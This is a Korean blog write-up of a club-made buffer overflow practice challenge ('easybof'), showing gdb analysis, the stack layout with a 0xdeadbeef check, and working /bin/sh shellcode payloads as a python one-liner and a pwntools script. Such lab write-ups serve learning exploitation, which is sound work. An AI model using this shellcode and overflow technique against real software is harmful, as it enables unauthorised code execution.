본문 바로가기
D. 시스템/실습

[C-LAB] EasyBOF

by E-HO 2017. 10. 13.
728x90

동아리 선배가 만드신 BOF문제를 풀어보자


우선 gdb를 이용해 무슨 함수가 있는지 봐보자


main함수가 있으니 main함수부터 봐보자

<main>


main함수를 보니 scanf를 이용해서 BOF를 일으켜 푸는 문제 인거 같다.

먼저 코드를 위에서 부터 보면서 스택을 그려보자~


스택이 이러한 구조로 되있는데 

위 코드를 보면 ebp-0x4에 있는 값이 0xdeadbeef랑 같아야

프로그램이 정상적으로 끝이 난다.

그러기 위해서는

0x68-0x4

100byte를 먼저 쉘코드와 더미로 채우고 

0x4부터는 0xdeadbeef로 채우고

SFP는 4byte니깐 아무문자로 4byte를 채우고

RET에 buffer의 주소를 넣어서 쉘코드를 실행시키자


-------------------------------------------------------------------------------------------------------------------------


여기서 버퍼의 주소가 

ASLR

이라는 메모리 보호 기법에 의해서 계속 바뀐다

이것과 무관하게 BOF를 일으키려면

pwntool을 사용하면 된다.

일단은 ASLR을 끄고 주소를 고정시키고

문제를 풀어보겠다

------------------------------------------------------------------------------------------------------------------------


그러기 위한 파이프라인은

(python -c 'print "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80"+"A"*75+"\xef\xbe\xad\xde"+"a"*4+"\x00\xd0\xff\xff"'; cat)|./easybof

이렇게 작성 할 수 있다.

(리틀엔디안을 적용해서 작성한다)


작성 후 돌려보면

잘된다


이렇게 파이프라인을 이용한 방법 말고 pwntool을 이용하여 해결 할 수도있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
p=process("./easybof")
 
shellcode = "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80"
 
ret = 0xffffd0d0
dead = 0xdeadbeef
 
 
payload = "\x90"*100 + p32(dead) + "a"*4 + p32(ret) + "\x90"*1000 + shellcode
 
p.send(payload)
 
p.interactive()
 
cs

이렇게 페이로드를 작성하여 실행해도


잘된다





반응형

'D. 시스템 > 실습' 카테고리의 다른 글

[LOB] 3번 goblin  (0) 2017.11.16
[LOB] 2번 cobolt  (0) 2017.10.15
[LOB] 1번 gremlin  (0) 2017.10.14
[Pwnable.kr] bof  (0) 2017.10.13